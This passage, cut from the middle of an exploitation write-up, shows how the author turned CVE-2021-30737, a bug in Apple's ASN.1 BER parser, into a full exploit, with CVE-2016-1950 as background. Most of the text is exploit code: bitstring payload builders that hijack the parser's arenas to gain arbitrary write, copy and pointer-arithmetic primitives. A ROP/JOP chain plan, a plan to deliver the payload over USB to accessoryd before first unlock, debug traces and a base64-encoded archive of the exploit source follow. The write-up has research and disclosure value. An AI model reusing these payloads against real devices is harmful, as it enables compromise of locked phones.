    found_tag_modifiers = SEC_ASN1_CONSTRUCTED
```

which switches to `duringConstructedString` then pushes a new state. This new state gets allocated right at the beginning of `our_pool` Arena because we already depleted the old one. At this point, the pools look like this:

```
                    state->dest ---------+
                                         v
    T: [next=0x0] [base] [limit] [avail] [Length=0x0, Data=NULL]
                  |                      ^
                  +----------------------+

    O: [next=0x0] [base] [limit] [avail] [state]
```

And then we follow-up with our old friend: trigger the bug again, without leaving the parent construct. Since `dest` is the first block sliced from `their_pool` Arena, shaving off its LSB will reroute `dest` to the Arena structure itself. This results in a type confusion: Arena `next` and `base` acting like a `SecAsn1Item` pointing to the old `dest`. We now trigger a write of eight zeroes followed by one 0x10 byte, effectively keeping the `dest->Length` to 0 and doing a partial overwrite over `dest->Data`, making the old `dest` point to `&Arena.limit`. Finally, having popped back the old `dest` we are now free to overwrite the Arena:

```
// (continued)
START_BITSTRING(0, 0);
CONS_BITSTRING(3 + 5);
    REP_BITSTRING(0, 5, 'c');
// leave the pointer dangling over 'dest'
REP_BITSTRING(0, FILLER_LEN + 2 * 8, 'd');
// temporarily make 'dest' overlap with their_pool Arena, by shaving off
the LSB
CONS_BITSTRING(3 + 1 + 3 + 9);
    // relocate 'dest' -> PLArena
    START_BITSTRING(0, 1);
        PUSH1(0); // LSB = 0
    // 'dest' is pointing to previous self, shave off the LSB of Data
    START_BITSTRING(0, 9);
        PUSH8(0ULL); // Length
        PUSH1(0x10); // LSB = 0x10
// 'dest' is popped back, with dest->Data pointing to our_pool Arena.limit
START_BITSTRING(0, 16);
    PUSH8(0x4141414141414150); // limit
    PUSH8(0x4141414141414140); // avail
```

If that looks confusing it's because it really is. Perhaps some pictures can clear it up.

After the break and the 'c' segment:

```
                    state->dest ---------+
                                         v
    T: [next=0x0] [base] [limit] [avail] [Length=0x0, Data]
                  |                      ^            |
                  +----------------------+            +----------+
                                                                 v
    O: [next=0x0] [base] [limit] [avail] [state] [block(sz=1/8)] [block(8)]
```

After the 'd' segment, shave off `dest` LSB:

```
       +------------- state->dest
       v
    T: [next=0x0] [base] [limit] [avail] [Length=0x0, Data]
                  |                      ^            |
                  +----------------------+            +----------+
                                                                 v
    O: [next=0x0] [base] [limit] [avail] [state] [block(sz=1/8)] [block(8)]
```

Zero `dest->Length` and set `dest->Data` LSB = 0x10:

```
       +------------- state->dest
       v
    T: [next=7*8] [base] [limit] [avail] [Length=0x0, Data]
                  |                      ^            |
                  +----------------------+            |
                         +----------------------------+
                         v
    O: [next=0x0] [base] [limit] [avail] [state] [block(sz=1/8)] [block(8)]
```

After popping `dest`, smash `our_pool` Arena `limit/avail`:

```
                    state->dest ---------+
                                         v
    T: [next=7*8] [base] [limit] [avail] [Length=128, Data]
                  |                      ^            |
                  +----------------------+            |
                         +----------------------------+
                         v
    O: [next=0x0] [base] [ END ] [BEGIN] [state] [block(sz=1/8)] [block(8)]
```

Woo-hooo! We just hijacked the current `our_pool` Arena. Where to? Well, to our old friend, the scratch area. Once we are rocking the Arena at a known address inside the victim space, we can predict absolutely all subsequent allocations. Determining such a scratch address is again a matter of vmmap and observing where the writable allocations end up. Refer to the attached source code READMEs for more info.

NB: 0x4b4b4b4b4b4b4b.. in the examples below are all known addresses inside the scratch area and can be presumed known/constant.

-- 4.2 - He who controls the Arena

Hijacking the Arena in a predictable manner is a big win but it proves to be a much more complex process than it was before CVE-2016-1950 got fixed. Unlike the old way, where we could create new Arenas out of thin air at the snap of the fingers, this time we should keep a grip on the one we just got a hold of. For this reason we abandon our MAKE_ARENA/WRITE contraptions and switch to a different paradigm for achieving write-anywhere.

Having the Arena in the scratch space means that we know where everything is laid out. We first generate whatever items we need right at the top of our newly built Arena and then use the bug repeatedly to route `dest` to them, in order to perform the writes. This is easy since we know the exact address of each item. Example:

```
    START_BITSTRING(0, 0);
    START_BITSTRING(0, 16);
        // SecAsn1Item:
        PUSH8(0ULL); // Length
        PUSH8(0x4343434343434343); // Data: WHERE we are writing

    // repeat the evil scheme
    START_BITSTRING(0, 0);
    CONS_BITSTRING(3 + 5);
        REP_BITSTRING(0, 5, 'f');
    // leave the pointer dangling over 'dest'
    REP_BITSTRING(0, FILLER_LEN + 2 * 8, 'f');
    // reroute 'dest' and perform the write
    CONS_BITSTRING(3 + 8 + 3 + 8);
        // 'dest' -> &SecAsn1Item = { 0, destination }
        START_BITSTRING(0, 8);
            PUSH8(0x4b4b4b4b4b4b4b42); // &SecAsn1Item
        // write
        START_BITSTRING(0, 8);
            PUSH8(0x4646464646464646); // WHAT we are writing
```

Replace 0x4b4b4b4b4b4b4b42 with the exact address of the `SecAsn1Item`, as we know it in advance (it's right at the top of the scratch space), and the code above will perform:

```
    *(uint64_t *)0x4343434343434343 = 0x4646464646464646;
```

At this point, our new bug is as capable as the old one: writing static values at known addresses. However, one thing that was kinda bothersome about the old exploit was that it was comprised of multiple steps and it was relying on some difficult to guess stack address. Can we do this one in a single step? Let's examine the richness of the decoding machinery and see what kind of primitives it has to offer.

-- 4.2.0 - Copyout

By copyout, we mean the ability to copy any value from the scratch space to any arbitrary address. `sec_asn1d_concat_substrings` can copy from subitems into a new `their_pool` allocation. The relevant code in secasn1d.c is:

```
    where = item->Data;
    substring = state->subitems_head;
    while (substring != NULL) {
        if (is_bit_string)
            item_len = (substring->len + 7) >> 3;
        else
            item_len = substring->len;
        PORT_Memcpy (where, substring->data, item_len);
        where += item_len;
        substring = substring->next;
    }
```

While we decided to never mess again with `our_pool` Arenas, that doesn't apply to `their_pool` Arenas. As long as we stay under the mega-object used for the initial hijack, `their_pool` will never be used by the decoder. It means we can freely play with that pool and the easiest way to achieve this is to create a completely new pool and replace it:

```
    // reserve a bunch of subitems, items, PORTArenaPool and objects
    START_BITSTRING(0, 0);
    START_BITSTRING(0, 24 + 24 + 8 * 8 + 7);
        // subitem
        PUSH8(0x4b4b4b4b4b4b4b41); // data: where we are copying out FROM
        PUSH8(8ULL << 3); // len
        PUSH8(0ULL); // next
        // subitem
        PUSH8(0x4545454545454545); // data: where we are copying in FROM
        PUSH8(8ULL); // len
        PUSH8(0ULL); // next
        // PORTArenaPool
        PUSH8(0); // PORTArenaPool.arena.first.next (NULL, but could be chained)
        PUSH8(0ULL); // PORTArenaPool.arena.first.base
        PUSH8(0x4141414141414170); // PORTArenaPool.arena.first.limit
        PUSH8(0x4141414141414160); // PORTArenaPool.arena.first.avail (copyout
        DESTINATION)
        PUSH8(0x4b4b4b4b4b4b4b48); // PORTArenaPool.arena.current = &PORTArenaPool.arena
        PUSH8(256ULL); // PORTArenaPool.arena.arenasize
        PUSH8(7ULL); // PORTArenaPool.arena.mask
        PUSH8(0xB8AC9BDFULL); // PORTArenaPool.magic
        // this serves as overlapping SecAsn1Item with 'top' below
        PUSH7(8ULL << 3); // Length: 8
    // state (promptly discarded)
    CONS_BITSTRING(3);
        START_BITSTRING(0, 0);
```

The scratch space will have the following layout:

```
                                        |<-- real state object -->|
                                        |                         |
    [subitem] [PORTArenaPool] [   8   ] [top] [template] [dest] ...
                              |             |
                              |< fake item >|
```

The overlapping item is `{ 8, top }` and we can use our write primitive to replace `top->their_pool` with our own `PORTArenaPool`. Once we have that, all subsequent allocations in `their_pool` will be controlled by us. We can even chain multiple Arenas in `PORTArenaPool` and, if sized correctly, they will perform different controlled writes with little to no effort. First, we replace `their_pool`:

```
        START_BITSTRING(0, 0);
        CONS_BITSTRING(3 + 5);
            REP_BITSTRING(0, 5, 'f');
        REP_BITSTRING(0, FILLER_LEN + 2 * 8, 'f'); // leave the pointer dangling over
        'dest'
        CONS_BITSTRING(3 + 8 + 3 + 8);
            START_BITSTRING(0, 8);
                PUSH8(0x4b4b4b4b4b4b4b42); // 'dest' -> &SecAsn1Item = { 8,
                state#1->top }
            START_BITSTRING(0, 8);
                PUSH8(0x4b4b4b4b4b4b4b48); // &PORTArenaPool
```

0x4b4b4b4b4b4b4b42 is the address of the fake SecAsn1Item, consisting of a +8 byte offset and `top` as base.

0x4b4b4b4b4b4b4b48 is our full PORTArenaPool replacement for `their_pool`, consisting of a new Arena: [0x4141414141414160 .. 0x4141414141414170]. It represents the copyout destination. This replacement step must be performed once, followed by the actual copyout:

```
    // cause a state object allocation with known parent
    CONS_BITSTRING(3 + FILLER_LEN + 112 + 38);
        START_BITSTRING(0, 0);
        CONS_BITSTRING(3 + 5);
            REP_BITSTRING(0, 5, 'g');
        REP_BITSTRING(0, FILLER_LEN + 2 * 8, 'g'); // leave the pointer dangling over
        'dest'
        // switch to 'afterConstructedString' and trigger a copyout from subitem via
        sec_asn1d_concat_substrings
        CONS_BITSTRING(3 + 112);
            START_BITSTRING(0, 112);
                PUSH8(0x4b4b4b4b4b4b4b4b); // dest: any { 0, NULL }
                PUSH8(0ULL);               // our_mark
                PUSH8(0x4b4b4b4b4b4b4b4c); // parent: previous object
                PUSH8(0ULL);               // child
                PUSH8(13ULL);              // place: afterConstructedString
                PUSH8(0xdfULL);            // check_tag_mask
                PUSH8(3ULL);               // found_tag_number
                PUSH8(3ULL);               // expect_tag_number
                PUSH8(3ULL);               // underlying_kind
                PUSH8(1ULL + 112);         // contents_length
                PUSH8(1ULL + 112);         // pending: +1
                PUSH8(3ULL);               // consumed
                PUSH4(11);                 // depth
                PUSH4(0);                  // bit_string_unused_bits
                PUSH8(0x4b4b4b4b4b4b4b4d); // subitems_head: &subitem
```

0x4b4b4b4b4b4b4b4b must point to a temporary empty `dest`. This is needed to dodge some assertions. Not quite mandatory, because the assertions are missing from the Release binaries, I'm just being pedantic.

0x4b4b4b4b4b4b4b4c must be the parent of the object we are manipulating. It is placed at a known address.

0x4b4b4b4b4b4b4b4d is the subitem (or head of a subitem chain) which points to the source data.

The net effect of the code above is:

```
    memcpy(0x4141414141414160, 0x4b4b4b4b4b4b4b41, 8);
```

If multiple copyouts are desired, we can chain the subitems and also chain the initial PORTArenaPool to other PLArena structures.

In contrast to the previous chapters' primitives, this allows us to copy whatever data into the destination, not merely scalar values. And we did it without overly complicated contraptions to pivot the input buffer. Looking back at the old code I cannot stop wondering what the fuck was I thinking back then. It is a total garbage.

-- 4.2.1 - Copyin

The copyin is a bit different. It represents the ability to copy data from any arbitrary address into local scratch space. This can be achieved with `sec_asn1d_prepare_for_contents`. We can't exactly tell where to copy to, but this is just a minor inconvenience, because said data is copied into a new `our_pool` allocation, which is inside the scratch space, hence we can calculate where it will end up:

```
    if (item) {
        item->Data = (unsigned char*)sec_asn1d_zalloc(poolp, alloc_len);
    }

    len = 0;
    for (subitem = state->subitems_head;
        subitem != NULL; subitem = subitem->next) {
        PORT_Memcpy (item->Data + len, subitem->data, subitem->len);
        len += subitem->len;
    }
    item->Length = len;
```

Here's how to trigger it:

```
    // cause a state object allocation with known parent
    CONS_BITSTRING(3 + FILLER_LEN + 112 + 38);
        START_BITSTRING(0, 0);
        CONS_BITSTRING(3 + 5);
            REP_BITSTRING(0, 5, 'i');
        REP_BITSTRING(0, FILLER_LEN + 2 * 8, 'i'); // leave the pointer dangling over
        'dest'
        // switch back to 'afterLength' and trigger a copyin from subitem via
        sec_asn1d_prepare_for_contents
        CONS_BITSTRING(3 + 112);
            START_BITSTRING(0, 112);
                PUSH8(0x4b4b4b4b4b4b4b4f); // dest: any { 0, NULL }
                PUSH8(0ULL);               // our_mark
                PUSH8(0x4b4b4b4b4b4b4b50); // parent: previous object
                PUSH8(0ULL);               // child
                PUSH8(5ULL);               // place: afterLength
                PUSH8(0xdfULL);            // check_tag_mask
                PUSH8(3ULL);               // found_tag_number
                PUSH8(3ULL);               // expect_tag_number
                PUSH8(0x400ULL);           // underlying_kind: SEC_ASN1_ANY
                PUSH8(0ULL);               // contents_length: 0
                PUSH8(1ULL + 112);         // pending: +1
                PUSH8(3ULL);               // consumed
                PUSH4(11);                 // depth
                PUSH4(0);                  // bit_string_unused_bits
                PUSH8(0x4b4b4b4b4b4b4b47); // subitems_head: &subitem
```

0x4b4b4b4b4b4b4b4f must point to a temporary empty `dest`. This is needed to make sure the copyin is done at the next available `our_pool` address, which can be calculated and therefore it is considered known.

0x4b4b4b4b4b4b4b50 must be the parent of the object we are manipulating. It is placed at a known address.

0x4b4b4b4b4b4b4b47 is the subitem (or head of a subitem chain) which points to the address to read from. The data will be placed at the next available address in the scratch space.

The net effect of the code above is:

```
    memcpy(next_alloc(our_pool), 0x4545454545454545, 8);
```

And since `our_pool` is pinned to the scratch space, we can calculate where the destination will be.

-- 4.2.2 - Arithmetic

Arithmetic represents the ability to do some sort of addition/subtraction. Since we want to avoid a multi-step exploit and perform everything in one go, we need to work out some shared cache addresses. For example, if we'd want to find the address of `vm_remap` function, we can simply execute the following equivalent operation:

```
    vm_remap = &kSecAsn1BitStringTemplate + addend;
```

The addend above is constant for a given shared cache and can be calculated beforehand. The addition itself is done in `sec_asn1d_next_substring`. In case it is not obvious, the relevant code is this:

```
    state->consumed += child_consumed;
```

The operation is done by using two discarded state objects. First make sure `child->consumed` holds the addend (this is a matter of a simple write) and then use a copyout to set `state->consumed` to `kSecAsn1BitStringTemplate`. After the operation, `state->consumed` holds the result of the addition.

```
    START_BITSTRING(0, 16);
        // SecAsn1Item
        PUSH8(0ULL); // Length
        PUSH8(0x4b4b4b4b4b4b4b41); // Data: &state#1->our_mark

    // state#1 (promptly discarded)
    CONS_BITSTRING(3 + 2); // Vader
        // state#2 (promptly discarded)
        CONS_BITSTRING(3); // Zon
            START_BITSTRING(0, 0);

    // Use SecAsn1Item to prepare state#1 and state#2.

    START_BITSTRING(0, 0);
    CONS_BITSTRING(3 + 5);
        REP_BITSTRING(0, 5, 'e');
    REP_BITSTRING(0, FILLER_LEN + 2 * 8, 'e'); // leave the pointer dangling over 'dest'
    CONS_BITSTRING(3 + 8 + 4 + 232);
        START_BITSTRING(0, 8);
```

```
            PUSH8(0x4b4b4b4b4b4b4b49); // 'dest' -> &SecAsn1Item = { 0,
            &state#1->our_mark }
        START_BITSTRING(0, 232);
            PUSH8(-1ULL);              // our_mark: -1
            PUSH8(0x4b4b4b4b4b4b4b4a); // parent: where we want to resume
            PUSH8(0x4b4b4b4b4b4b4b4b); // child: &state#2
            PUSH8(8ULL);               // place: duringConstructedString
            PUSH8(0xdfULL);            // check_tag_mask
            PUSH8(3ULL);               // found_tag_number
            PUSH8(3ULL);               // expect_tag_number
            PUSH8(3ULL);               // underlying_kind
            PUSH8(1ULL);               // contents_length
            PUSH8(0x4242424242424242); // pending: ADDEND
            PUSH8(0ULL);               // consumed: POINTER
            PUSH8(0x4b4b4b4b4b4b4b51); // depth...: serve as arg = &string
            PUSHR(0x80, 0);            // (bleed over into state#2)
            PUSH8(0x4242424242424242); // consumed: ADDEND

    // Insert here copyout of any state->theTemplate to &state#1->consumed,
    // where the POINTER is expected to be.
    ...
    // And here follows the addition per se:

    // cause a state object allocation with known parent
    CONS_BITSTRING(3 + FILLER_LEN + 8 + 51);
        START_BITSTRING(0, 0);
        CONS_BITSTRING(3 + 5);
            REP_BITSTRING(0, 5, 'h');
        REP_BITSTRING(0, FILLER_LEN + 4 * 8, 'h'); // leave the pointer dangling over
        'parent'
        // switch to 'duringConstructedString' and trigger addition via
        sec_asn1d_next_substring
        CONS_BITSTRING(3 + 8);
            START_BITSTRING(0, 8);
                PUSH8(0x4b4b4b4b4b4b4b4e); // parent: state#1
```

We can chain multiple state#1/state#2 pairs to perform multiple additions in one go, with one addend for each pair. The last object used for addition must have its parent pointing back to the object we left off.

```
                +-----------------------------------------------+
                v                                               |
            +---------------------+   +--------------------+    |
            |   discarded obj     |-->|   discarded obj    |    |
            | state#1[n] = parent |   | state#2[n] = child |    |
            +---------------------+   +--------------------+    |
                |           ^              |                    |
                |           +- addition#n -+                    |
                ~                                               ~
                |                                               |
                v                                               |
            +---------------------+   +--------------------+    |
            |   discarded obj     |-->|   discarded obj    |    |
            | state#1[1] = parent |   | state#2[1] = child |    |
        |   +---------------------+   +--------------------+    |
        |       |           ^              |                    |
        |       |           +- addition#1 -+                    |
        v       v                                               |
    +-------------+                                             |
    |   parent    |------+                                      |
    +-------------+      |                                      |
        |    ^           v                                      |
        |    |     +------------+                               |
        |    +--X--|YOU ARE HERE|-------------------------------+
        |          +------------+
        v
```

Here we see state 0x102b627f0 transitioning to 102b62198 which performs the addition, and then transitioning back to 0x102b626c8 and resuming execution normally:

```
    sec_asn1d_parse_leaf: memcpy(0x102b62758 + 5 = 0x102b6275d, "6868686868686868", 179)
    sec_asn1d_parse_leaf: pre-existing value = 0x867b806a20000000
    STATE transition 0x102b626c8 -> 0x7f867b80b620
    STATE transition 0x7f867b80b620 -> 0x102b626c8
    sec_asn1d_push_state:430: zalloc(144) -> 0x102b627f0 in arena o_pool/0x0 (left -1)
    STATE transition 0x102b626c8 -> 0x102b627f0
    sec_asn1d_parse_leaf: len=2401, @1953
    sec_asn1d_parse_leaf: item = BIT_STRING, item->len = 1472, len = 8
    state = 0x102b627f0
        top = 0x7f867b806a20
        theTemplate = 0x102b7b2e0
        dest = 0x7f867b809620
        our_mark = 0x0
        parent = 0x102b626c8
        contents_length = 9
        pending = 8
        consumed = 3
        depth = 12
        allocate = 0
        indefinite = 0
    sec_asn1d_parse_leaf: memcpy(0x102b62758 + 184 = 0x102b62810, "102b62198", 8)
    sec_asn1d_parse_leaf: pre-existing value = 0x102b626c8
    STATE transition 0x102b627f0 -> 0x102b62198
    STATE transition 0x102b62198 -> 0x102b626c8
    STATE transition 0x102b626c8 -> 0x7f867b80b620
    STATE transition 0x7f867b80b620 -> 0x7f867b809328
    STATE transition 0x7f867b809328 -> 0x7f867b80b620
    STATE transition 0x7f867b80b620 -> 0x7f867b809328
    STATE transition 0x7f867b809328 -> 0x7f867b80b620
```

-- 4.3 - Assembling the pieces

The last missing bit is achieving code execution. This can be done the same way we did in the old exploit, using `top->filter_proc(top->filter_arg)`. Bypassing PAC is considered a security bug in its own right, this writeup is meant to illustrate strictly the ASN.1 bugs. As a consequence, defeating other mitigations than ASLR is left as an exercise to the reader.

Now that we have all pieces, we are ready to build the exploit, using the following strategy:
- use a number of copyouts to place a small number of template pointers in the expected object pairs, prepared for addition;
- perform a series of pointer arithmetic to compute the respective number of gadgets;
- use a chained copyin to assemble certain data fragments interleaved with the aforementioned gadgets, effectively building a bootstrap ROP strip;
- copyout a JOP gadget over `top->filter_proc` and the address of said ROP strip over `top->filter_arg`, which will pivot the stack;
- the bootstrap ROP strip does the following:
    - vm_remap the shared cache at a fixed address;
    - jump to stage2 relocator, which relocates the rest of stage2, using only gadgets from the remapped cache;
    - enter late stage2 which has full ROP functionality.

Of course, this is but one way of doing it. Please keep in mind that our primitives are quite expensive in terms of bitstring space, and therefore we aim to complete the chain with minimal effort.

Finally, we "relocate" the PKCS#7 for whichever address we believe it would be a viable scratch space. Relocating means translating all those addresses we know about: 0x4b4b4b4b4b4b4b4b... The result will be sent over USB as an IAP2 authentication packet to accessoryd, using whatever MFi tool. Note: we do not need a real IAP certificate, because the exploit kicks in before the certificate is even validated and it does everything in one go.

If we miss, accessoryd will likely crash and we may need to restore the USB connection. Then we can build another PKCS#7 (for another address) or just keep retrying the old one. Eventually, one of them is bound to hit a usable scratch address and succeed. Note: these daemons listening over USB are not throttled. Also, it makes no difference if the shared cache is reslid upon daemon restart, since we have the ability to recalculate the gadgets during each retry.

The only thing that matters is to reach a writable scratch area we can use. It does not matter what this area contains, and it does not have to be at a specific address. It just has to be. Everything is computed during decoding with the aid of the hijacked ASN.1 machinery, provided it has a little bit of manoeuvring space.

-- 5 - Conclusions

This article has begun in Spring 2021, its main purpose was to detail the CVE-2016-1950 exploit. But as I was writing, trying hard to remember five years old details, I realised the exploit used two bugs: one that was fixed and the other one (which I completely forgot about) that was still there. I knew it was somehow exploitable on its own, so I reported it to Apple, on 16 April 2021. It was fixed in iOS 14.6 beta 3 (18F5065a) dated 10 May 2021 and it would later become CVE-2021-30737[7] of iOS 14.6 (18F72) release. It was also backported to iOS 12.5.4 for end-of-life devices.

An interesting side-note: to my knowledge, Apple started to use Mozilla NSS ASN.1 parser in MacOSX Panther, 2003: SecurityNssAsn1-11.tar.gz. And while CVE-2016-1950 was inherited from the original codebase, CVE-2021-30737 was never in Mozilla code; it seems to be an Apple-only addition. I do not know what was the purpose of the change, perhaps they wanted to take a shortcut for empty bitstrings for speed reasons, I guess we will never know.

Here ends our journey into the ASN.1 parser vulnerabilities. CVE-2016-1950 has been fixed in iOS 9.3 and CVE-2021-30737 was fixed in iOS 14.6, five years later. Both bugs affected virtually all Apple products: iPhone, iPad, Macs, etc. While the two bugs are completely unrelated, it may be that the former can be turned into an exploit without the latter. I never tried to do it that way. What we know now is the old bug greatly helped the newer one -- but as we can see, CVE-2021-30737 was powerful enough to carry the weight of a full exploit on its own.

These bugs are interesting because they can be used to mount a full attack against daemons listening on the phone Before First Unlock over USB. This means pretty much game over for 32bit devices, since those do not have SEP. On 64bit devices, however, the exploit can be used as a starting point for further exploration.

Another interesting aspect is that a sizeable part of these exploits, that is, everything we accomplish with the bitstring is architecture agnostic, only the bitness matters. For example, the resulting bitstrings can be tested on x86_64 and then used on arm64. Ditto for i386 vs armv7.

Last, but not least, there are some lessons to be learned. First of all, you should never use an Arena allocator in security sensitive contexts. Yes, Arenas are fast, easy to implement from a programmer point of view and they seem appealing. They can also get you pwned, because the memory blocks are laid out in a predictable fashion. Actually, to be more blunt, stay the fuck away from any kind of allocator with inline meta-data.

Second, BER is a hairy beast. BER parsers tend to become extremely complex and complexity is the enemy of security. If you must handle ASN.1, use DER whenever possible. There are examples of alloc-less DER parsers which do a pretty good job and seem very secure when used properly, such as libDER.

Third, never ever mess with complex state machines that you do not fully understand. All the assertions were useless, with one notable exception (which may or may not be possible to dodge) so even if they were left in the Release binaries, it didn't matter greatly. State machines are hard! Human brains are great for many things, but state machines is definitely not one of those.

-- 6 - References

[0] https://support.apple.com/en-us/HT206166
[1] https://en.wikipedia.org/wiki/ASN.1
[2] https://opensource.apple.com/release/os-x-10114.html
[3] https://en.wikipedia.org/wiki/Region-based_memory_management
[4] https://tools.ietf.org/html/rfc3369
[5] https://www.cvedetails.com/cve/CVE-2016-4656/
[6] https://www.cvedetails.com/cve/CVE-2016-4655/
[7] https://support.apple.com/en-us/HT212528

-- 7 - Source code

The source code was designed to work on iPhones, but it happens to work on macOS, too. Make sure you respect the bitness and use the correct libraries for each of the included examples: Security-57337.20.44 for the first bug and Security-59754.80.3 for the second one.

```
begin-base64 644 bitstring.tar.xz
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
```

```
